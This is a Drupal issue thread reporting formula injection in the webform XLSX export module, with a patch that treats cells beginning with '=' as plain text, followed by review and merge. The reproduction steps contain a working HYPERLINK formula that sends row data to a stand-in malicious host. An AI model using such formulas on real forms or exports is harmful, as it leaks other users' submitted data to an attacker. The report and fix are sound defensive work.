Problem/Motivation

Malicious user filling in a webform can put in a formula and trigger all sorts of bad things for a user opening generated with this module file.

See https://owasp.org/www-community/attacks/CSV_Injection for examples of bad things that can be done. That page talks about CSV , but simply starting any text field in a webform with equals sign will make office software opening the file to treat the value as a formula.

Steps to reproduce

  1. Install webform module and this module
  2. Open contact form (/form/contact)
  3. fill in Message field with =HYPERLINK("https://maliciousserver.example/?leak=&A2&B2&C2&D2&E2&F2&G2&H2&I2&J2", "click me")
  4. submit the form
  5. navigate to the results download page (/admin/structure/webform/manage/contact/results/download)
  6. select XLSX export format and click download button
  7. open exported file in any office software and observe X2 cell displaying click me value

Proposed resolution

Treat any cell value starting with equals sign as a simple string. This will result in a malicious formula being displayed to the use in the office software, rather than being processed as formula.

Remaining tasks

  • Patch
  • Review
  • Commit

User interface changes

None

API changes

None

Data model changes

None

CommentFileSizeAuthor
#2 webform_xlsx_export-3358977-2.patch1.04 KBrosk0

Issue fork webform_xlsx_export-3358977

Command icon Show commands

Start within a Git clone of the project using the version control instructions.

Or, if you do not have SSH keys set up on git.drupalcode.org:

About issue forks

Comments

RoSk0 created an issue. See original summary.

rosk0’s picture

rosk0
he/him
Primary language Russian
Location Wellington
commented
Assigned: rosk0 » Unassigned
Issue summary: View changes
Status: Active » Needs review
StatusFileSize
new webform_xlsx_export-3358977-2.patch1.04 KB

Patch implementing suggested change.

rosk0’s picture

rosk0
he/him
Primary language Russian
Location Wellington
commented
Issue summary: View changes

More formatting.

rosk0’s picture

rosk0
he/him
Primary language Russian
Location Wellington
commented
Title: Do not process formulas » Prevent formula processing by spreadsheet applications

keshav.k made their first commit to this issue’s fork.

keshav.k opened merge request !1

keshavv’s picture

keshavv commented
Status: Needs review » Reviewed & tested by the community

Completely agree with your point. I have tested the patch, Its working perfect.
Created the MR for easy merge. Moving to RTBC.

prudloff made their first commit to this issue’s fork.

  • prudloff committed 32d9d76a on 8.x-1.x authored by keshav.k 
    Issue #3358977: Prevent formula processing by spreadsheet applications
prudloff’s picture

prudloff commented
Status: Reviewed & tested by the community » Fixed

Thanks for the report and the patch!
I can confirm it fixes the problem.

Failing tests seem to be unrelated so I merged the MR.

Status: Fixed » Closed (fixed)

Automatically closed - issue fixed for 2 weeks with no activity.